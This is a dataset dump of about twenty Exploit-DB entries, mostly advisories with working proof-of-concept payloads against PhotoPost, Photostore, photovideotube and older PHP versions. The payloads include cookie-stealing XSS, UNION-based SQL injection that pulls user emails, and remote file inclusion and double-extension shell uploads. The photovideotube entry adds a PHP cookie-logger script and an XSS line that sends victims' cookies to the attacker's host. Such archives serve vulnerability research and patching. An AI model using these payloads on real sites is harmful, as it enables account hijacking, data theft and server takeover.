deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43820
Description: PhotoPost Classifieds < 2.01 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2015-01-01
Author: GulfTech Security

Exploit:
PhotoPost Classifieds Multiple Vulnerabilities

Vendor: All Enthusiast, Inc.
Product: PhotoPost Classifieds
Version: <= 2.01
Website: http://www.photopost.com/class/

BID: 12156 
OSVDB: 12728 12729 12730 12731 12732 12733 12734 12735 12736 12737 
SECUNIA: 13699 

Description:
Add a full-featured user-to-user classified ads system to your website to connect buyers with sellers. No matter what your users interestes may be, they likely want to buy and sell items related to your site's topic, and PhotoPost Classifieds makes it easy. PhotoPost Classifieds is designed to integrate seamlessly into your current site design, and can even use your existing forum user database (if you have one) for one central login. Where you see [INT] in this advisory, it represents an integer such as a valid category. [XSS] and [SQL] represent where an attacker could insert code to conduct a cross site scripting attack, or inject data to influence SQL queries. 


Cross Site Scripting:
PhotoPost Classifieds is prone to cross site scripting in several different scripts throughout the application. Below are examples: 

http://path/showcat.php?si=[XSS]
http://path/reportproduct.php?report=[XSS]
http://path/contact.php?contact=[INT]&productid=[INT][XSS] 

This can be used to render hostile code in the context of the victims browser, or to steal cookie based credentials or other sensitive info. 


SQL Injection Vulnerability:
There are a substantial number of SQL Injection vulnerabilities in this application. Some are easy to exploit, others are not so easy. 

http://path/showproduct.php?product=[INT][SQL]
http://path/contact.php?contact=[INT]&productid=[INT][SQL]
http://path/addfav.php?product=[INT][SQL]&do=add
http://path/showproduct.php?product=[INT]&sort=[INT][SQL]&cat=[INT]
http://path/showcat.php?cat=[INT][SQL]
http://path/index.php?cat=[INT][SQL]
http://path/comments.php?product=[INT]&cedit=[INT][SQL] 

These SQL issues can possibly be exploited to influence SQL queries and disclose arbitrary data. These will alse cause XSS if unsuccessful. 


Arbitrary File Upload:
This issue can be very dangerous as it allows a user to upload php scripts and other files. Once uploaded these files can be executed with the permission of the webserver. The uploaded file can be found by following the image link in the classified ad that was posted. Exploiting this vulnerability can be accomplished by naming a file with multiple file extensions and then uploading it when placing an ad (for example: test.jpg.php.jpg.php). It should be noted that the uploads are properly filtered (or seem to be) when editing an ad, just not when creating a new classified ad. 


Solution:
PhotoPost Classifieds 2.02 has been released to resolve these issues. All users should upgrade their PhotoPost Classifieds immediately. 


Credits:
James Bercegay of the GulfTech Security Research Team
Exploit-DB #33152
Description: PhotoPost PHP 3.3.1 - 'cat' Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2009-08-07
Author: 599eme Man

Exploit:
source: https://www.securityfocus.com/bid/35996/info

PhotoPost PHP is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PhotoPost PHP 3.3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/showgallery.php?cat=[nr] and substring(@@version,1,1)=4 <= True
http://www.example.com/showgallery.php?cat=[nr] and substring(@@version,1,1)=5 <= False
http://www.example.com/showgallery.php?cat=&#039;"><script>alert(&#039;xss&#039;)</script>
Exploit-DB #14453
Description: PhotoPost PHP 4.6.5 - 'ecard.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-07-23
Author: CoBRa_21

Exploit:
########################################################################################

PhotoPost PHP 4.6.5 (ecard.php?ecard) SQL Injection Vulnerability

########################################################################################

Author : CoBRa_21

Author Web Page : http://www.ipbul.org

Dork: "Powered by: PhotoPost PHP 4.6.5"

########################################################################################
 
Sql Injection:

http://localhost/[path]/ecard.php?ecard=418337 (Sql)

http://localhost/[path]/showphoto.php?photo=418337 (Sql)

########################################################################################
Thanks : http://www.e-banka.org
Exploit-DB #23885
Description: PhotoPost PHP Pro 3.x/4.x - 'showgallery.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2004-03-29
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9994/info

Multiple SQL injection, cross-site scripting and HTML injection vulnerabilities have been identified in the application, which may allow an attacker to execute arbitrary HTML or script code in a user's browser and/or influence SQL query logic to disclose sensitive information and carry out other attacks. 

Photopost PHP Pro 4.6.0 and prior may be prone to these issues. Photopost PHP Pro 4.8.1 is reported vulnerable to these issues as well.

http://www.example.com/showgallery.php?ppuser=-2'%20UNION%20SELECT%200,email,
0,0,0,0,0,0%20FROM%20user%20WHERE%20userid='1&cat=500
Exploit-DB #28575
Description: PhotoPost Pro 4.6 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-09-14
Author: Saudi Hackrz

Exploit:
source: https://www.securityfocus.com/bid/20028/info

PhotoPost Pro is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

PhotoPost Pro 4.6 and prior versions are vulnerable; other versions may also be affected.

http://www.example.com/[path]/addfav.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-admlog.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-approve.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-backup.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-cats.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-cinc.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-db.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-editcfg.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-inc.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-index.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-modcom.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-move.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-options.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-order.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]//adm-pa.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-photo.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-purge.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-style.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-templ.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-userg.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-users.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/bulkupload.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/cookies.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/comments.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/ecard.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/editphoto.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/register.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/showgallery.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/showmembers.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/useralbums.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/uploadphoto.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/search.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-menu.php?PP_PATH=[Attack Shell]?
Exploit-DB #25308
Description: PhotoPost Pro 5.1 - 'showgallery.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-03-28
Author: Diabolic Crab

Exploit:
source: https://www.securityfocus.com/bid/12920/info

Multiple input validation vulnerabilities reportedly affect PhotoPost Pro. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.

The first set of issues are cross-site scripting vulnerabilities that affect the 'slideshow.php', 'showgallery.php', and 'showmembers.php' scripts. These issues arise as the application fails to properly sanitize input passed through the offending functions before including it in dynamically generated Web content.

The second set of issues are SQL injection vulnerabilities that affect the 'showmembers.php' and 'showphoto.php' scripts. The application includes the value of the offending parameters without sanitization, allowing an attacker to inject SQL syntax and manipulate SQL queries.

An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks. 

http://www.example.com/photos/showgallery.php?si=&sort=1&cat=501&ppuser=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&friendemail=%3d'email%40yourfriend.com')this.value
%3d''%3b&password=
http://www.example.com/photos/showgallery.php?si=&sort=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&cat=2&ppuser=&friendemail=%3d'email%40yourfriend.com')this.value%3d
''%3b&password=
http://www.example.com/photos/showgallery.php?si=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/photos/showmembers.php?si=&sort=4&cat=500&ppuser=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25309
Description: PhotoPost Pro 5.1 - 'showmembers.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-03-28
Author: Diabolic Crab

Exploit:
source: https://www.securityfocus.com/bid/12920/info
 
Multiple input validation vulnerabilities reportedly affect PhotoPost Pro. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.
 
The first set of issues are cross-site scripting vulnerabilities that affect the 'slideshow.php', 'showgallery.php', and 'showmembers.php' scripts. These issues arise as the application fails to properly sanitize input passed through the offending functions before including it in dynamically generated Web content.
 
The second set of issues are SQL injection vulnerabilities that affect the 'showmembers.php' and 'showphoto.php' scripts. The application includes the value of the offending parameters without sanitization, allowing an attacker to inject SQL syntax and manipulate SQL queries.
 
An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.

http://www.example.com/photos/showmembers.php?si=&sort=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&cat=500&ppuser=
http://www.example.com/photos/showmembers.php?si=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&sort=4&cat=500&ppuser=
Exploit-DB #25311
Description: PhotoPost Pro 5.1 - 'showmembers.php?sl' SQL Injection
Type: webapps
Platform: php
Date: 2005-03-28
Author: Diabolic Crab

Exploit:
source: https://www.securityfocus.com/bid/12920/info
   
Multiple input validation vulnerabilities reportedly affect PhotoPost Pro. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.
   
The first set of issues are cross-site scripting vulnerabilities that affect the 'slideshow.php', 'showgallery.php', and 'showmembers.php' scripts. These issues arise as the application fails to properly sanitize input passed through the offending functions before including it in dynamically generated Web content.
   
The second set of issues are SQL injection vulnerabilities that affect the 'showmembers.php' and 'showphoto.php' scripts. The application includes the value of the offending parameters without sanitization, allowing an attacker to inject SQL syntax and manipulate SQL queries.
   
An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.

http://www.example.com/photos/showmembers.php?sl='SQL_INJECTION
Exploit-DB #25312
Description: PhotoPost Pro 5.1 - 'showphoto.php?photo' SQL Injection
Type: webapps
Platform: php
Date: 2005-03-28
Author: Diabolic Crab

Exploit:
source: https://www.securityfocus.com/bid/12920/info
    
Multiple input validation vulnerabilities reportedly affect PhotoPost Pro. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.
    
The first set of issues are cross-site scripting vulnerabilities that affect the 'slideshow.php', 'showgallery.php', and 'showmembers.php' scripts. These issues arise as the application fails to properly sanitize input passed through the offending functions before including it in dynamically generated Web content.
    
The second set of issues are SQL injection vulnerabilities that affect the 'showmembers.php' and 'showphoto.php' scripts. The application includes the value of the offending parameters without sanitization, allowing an attacker to inject SQL syntax and manipulate SQL queries.
    
An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.

http://www.example.com/photos/showphoto.php?photo='SQL_ERROR
Exploit-DB #25310
Description: PhotoPost Pro 5.1 - 'Slideshow.php?photo' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-03-28
Author: Diabolic Crab

Exploit:
source: https://www.securityfocus.com/bid/12920/info
  
Multiple input validation vulnerabilities reportedly affect PhotoPost Pro. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.
  
The first set of issues are cross-site scripting vulnerabilities that affect the 'slideshow.php', 'showgallery.php', and 'showmembers.php' scripts. These issues arise as the application fails to properly sanitize input passed through the offending functions before including it in dynamically generated Web content.
  
The second set of issues are SQL injection vulnerabilities that affect the 'showmembers.php' and 'showphoto.php' scripts. The application includes the value of the offending parameters without sanitization, allowing an attacker to inject SQL syntax and manipulate SQL queries.
  
An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.

http://www.example.com/photos/slideshow.php?photo=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&amp%3b[CREDENTIAL_REDACTED]=1&amp%3bcat=502
Exploit-DB #6082
Description: PhotoPost vBGallery 2.4.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-07-15
Author: Cold Zero

Exploit:
vBulletin PhotoPost vBGallery v2.x Remote File Upload

Found by : Cold z3ro

e-mail : exploiter@hackteach.org

Home page : www.Hack.ps

==============================

exploit usage : 

http://localhost/Forum/$gallery_path/upload.php

here the exploiter can upload php shell via this script

by renamed it's name to $name.php.wmv

but first he should be a user in the forum

thats so important to him cus the uploaded file will be

in his account nomber folder .

example :

user : Cold z3ro
http://www.hackteach.org/cc/member.php?u=4

his account nomber is 4 as shown in link ,

the uploaded file ( shell ) will be in

http://localhost/Forum/$gallery_path/files/4/$name.php.wmv

id the user Cold z3ro have acconut nomber as example ( 12345 )

the file path is 

http://localhost/Forum/$gallery_path/files/1/2/3/4/5/$name.php.wmv

===================

i want tho thank all members in www.hackteach.org forums , best work u are done.

thank u .

# hackteach.org

# milw0rm.com [2008-07-15]
Exploit-DB #29658
Description: PhotoStand 1.2 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-24
Author: Simon Bonnard

Exploit:
source: https://www.securityfocus.com/bid/22707/info

PhotoStand is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/index.php?page=search&q=<script>alert(document.cookie)</script>
Exploit-DB #28662
Description: Photostore - 'details.php?gid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-25
Author: meto5757

Exploit:
source: https://www.securityfocus.com/bid/20172/info

Photostore is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/[path]/details.php?gid=[xss]
Exploit-DB #28663
Description: Photostore - 'view_photog.php?photogid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-25
Author: meto5757

Exploit:
source: https://www.securityfocus.com/bid/20172/info
 
Photostore is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/[path]/view_photog.php?photogid=[xss]
Exploit-DB #8776
Description: photovideotube 1.11 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-05-22
Author: Hakxer

Exploit:
  ___ ___         __                        
 /   |   \_____  |  | _____  ___ ___________
/    ~    \__  \ |  |/ /\  \/  // __ \_  __ \
\    Y    // __ \|    <  >    <\  ___/|  | \/
 \___|_  /(____  /__|_ \/__/\_ \\___  >__|  
       \/      \/     \/      \/    \/   :: Egy Coders Team Researcher

/- PhotoVideoTube v 1.1 => Multiple Vulnerabilities
/- ( Insecure Cookie Handling & Cookie Grabber & Upload Shell )
/- http://photovideotube.com/
/- see demo script and executing vulnerabilities
/- Greetz : ExH , ProViDoR , Error Code , Bright D@rk , Sinaritx

* hi every body
* this script have a three vulnerabilities the first one
* cookie handling you can bypass control panel
* paste this js code
* javascript:document.cookie="username=admin";
* then go to http://host/path/admin/main.php
* now we are in a control panel

* ok second vulnerability Cookie Grabber
* first make file ( logger.php ) and paste this code in it
            <?php
            $cookie = $_GET['cookie'];
            $logger = fopen("logger.txt", "a");
            fwrite($logger, $cookie ."\n");
            fclose($logger);
            ?>
* and chmod file to 777
* now go to http://host/path/comment_pics.php?imgId=id
* and write this comment
* <script>document.location ="http://host/path/logger.php?cookie=" + document.cookie;</script>
* and click submit
* now if admin seen this picture cookie will sent to your logger.txt

* third vulnerability
* first make a account
* and go to upload photos http://host/path/upload_pics.php
* and upload shell like shell.php.jpg
* then show shell

* Be Safe

# milw0rm.com [2009-05-22]
Exploit-DB #22725
Description: PHP 4 - 'PHPInfo()' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-10-12
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/7805/info

Scripts that include the PHP phpinfo() debugging function may be prone to cross-site scripting attacks. This could permit remote attackers to create a malicious link to a vulnerable PHP script that includes hostile client-side script code or HTML. If this link is visited, the attacker-supplied code may be rendered in the browser of the user who visit the malicious link. 

http://www.example.com/info.php?variable=[code]

where [code] equals hostile HTML or script code.
Exploit-DB #21776
Description: PHP 4.2.3 - Header Function Script Injection
Type: webapps
Platform: php
Date: 2002-09-07
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/5669/info

PHP is a freely available, open source web scripting language package. It is available for Microsoft Windows, Linux, and Unix operating systems.

It has been reported that a vulnerability in the PHP header function exists. It may be possible for a user to supply arbitrary script code in an URL that would allow the injection of script code into the HTTP header. 

http://localhost/redir.php?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%61%68%6F
%6F%2E%63%6F%6D%2F%0D%0A%0D%0A%3C%53%43%52%49%50%54%3E%61%6C%65%72%74%28%64%
6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%53%43%52%49%50%54%3E%3C%2
1%2D%2D
Exploit-DB #384
Description: PHP 4.3.7 - 'php-exec-dir' Patch Command Access Restriction Bypass
Type: webapps
Platform: php
Date: 2004-08-08
Author: VeNoMouS

Exploit:
<?php 
$blah = `& /bin/ps aux`; 
echo nl2br($blah); 
?> 

<?php 
$blah = `| /bin/ps aux`; 
echo nl2br($blah); 
?> 


# milw0rm.com [2004-08-08]
Exploit-DB #26442
Description: PHP 4.x - PHPInfo Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-10-31
Author: Stefan Esser

Exploit:
source: https://www.securityfocus.com/bid/15248/info

PHP is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/phpinfo.php?GLOBALS[test]=<script>alert(document.cookie);</script>